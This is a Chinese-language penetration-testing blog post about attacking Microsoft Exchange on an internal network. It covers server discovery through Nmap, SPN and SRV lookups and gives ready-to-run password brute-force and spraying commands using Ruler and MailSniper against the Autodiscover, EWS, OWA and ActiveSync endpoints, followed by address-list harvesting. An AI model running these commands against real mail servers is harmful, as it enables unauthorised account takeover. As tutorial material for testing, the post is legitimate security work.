Yoga7xm's Blog

内网渗透--Exchange

字数统计: 872阅读时长: 3 min
2020/02/28 Share

Abstruct

Exchange Server是微软的一套电子邮件服务组件,是一个消息与写作系统。通常被用来构架应用于企业、学校的邮件系统。Exchange还是一个协作平台,在此基础上可以开发工作流,知识管理系统,Web系统或者是其他消息系统

Discover Exchange

Nmap

通过Nmap扫描端口和服务来发现域内exchange服务

1
nmap -T4 -sV -A -v 192.168.134.40

根据banner信息很容易查找出来

SPN名称

之前说过,SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称,被存储在AD数据库中,使用的时候利用LDAP去查询。而且一旦服务成功安装,这些SPN名称就会自动注册。

1
Setspn –T yoga.com -Q  */*

根据这些名称很容易查找出来

SRV记录

SRV是DNS中的一种资源记录,SRV记录用于将服务的名称映射到提供该服务的服务器的DNS计算机名称。

简单来说,它标明了哪台主机提供哪种服务的信息

1
nslookup -q = srv _autodiscover._tcp

一般来说发现了_autodiscover记录就说明内网极有可能存在Exchange服务

HTTP

  • owa接口
  • ews接口
  • ecp接口
  • ….

爆破

说到爆破得提一下Exchange提供的几种客户端邮箱接口和服务接口

  • owa —— Web邮箱

  • ecp —— Web管理控制台

  • outlook —— RPC-over-HTTP
  • outlook —— MAPI-over-HTTP
  • EWS —— Soap-over-HTTP
  • EAS —— XML/HTTP

通常Exchange Server 有以下endpoint:

endpoint 说明
/autodiscover 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp “Exchange Control Panel” Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/ews “Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件
/OAB “Offline Address Book” 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa “Outlook Web APP” Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powershell 用于服务器管理的Exchange管理控制台
/RPC 早期的Outlook还使用称为Outlook Anywhere的RPC交互

——Exchange在渗透测试中的利用

其中密码爆破可以利用的接口有四个:

  • Autodiscover ➡ NTLM Authenticate 401认证
  • OWA ➡ post请求数据
  • EWS ➡ NTLM Authenticate 401认证
  • Microsoft-Server-ActiveSync ➡ Basic 401认证

Autodiscover

如果用户身份认证通过,就会返回以下请求

Ruler可用来对该接口进行暴力破解

1
./ruler-linux64 --url https://192.168.134.40/Autodiscover/autodiscover.xml --insecure brute  -delay 0 --users user.txt --passwords passwd.txt --threads 10 -v

EWS

可用MailSniper爆破,与常规的爆破方法不同的是,为了防止触发账户锁定和IDS,每次对单个用户进行登录尝试。

1
2
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEWS -ExchHostname 192.168.134.40 -UserList .\user.txt -Password qweasd123! -Threads 10 -Domain yoga.com -OutFile ews.txt -Verbose

OWA

1
2
3
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname 192.168.134.40 -User
List .\user.txt -Password qweasd123! -Threads 10 -Domain yoga.com -OutFile owa.txt -Verbose

Microsoft-Server-ActiveSync

1
2
3
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEAS -ExchHostnam
e 192.168.134.40 -UserList .\user.txt -Password qweasd123! -Threads 10 -Domain yoga.com -OutFile out.txt -Verbose


如果获取了其中一个用户的密码,可调用Get-GlobalAddressList拿到全部的用户

1
2
Get-GlobalAddressList -ExchHostname 192.168.134.40 -UserNa
me bob -Password qweasd123!

Reference

https://evi1cg.me/archives/Exchange_Hack.html
https://github.com/dafthack/MailSniper
https://github.com/sensepost/ruler

CATALOG
  1. 1. Abstruct
  2. 2. Discover Exchange
    1. 2.1. Nmap
    2. 2.2. SPN名称
    3. 2.3. SRV记录
    4. 2.4. HTTP
  3. 3. 爆破
    1. 3.1. Autodiscover
    2. 3.2. EWS
    3. 3.3. OWA
    4. 3.4. Microsoft-Server-ActiveSync
  4. 4. Reference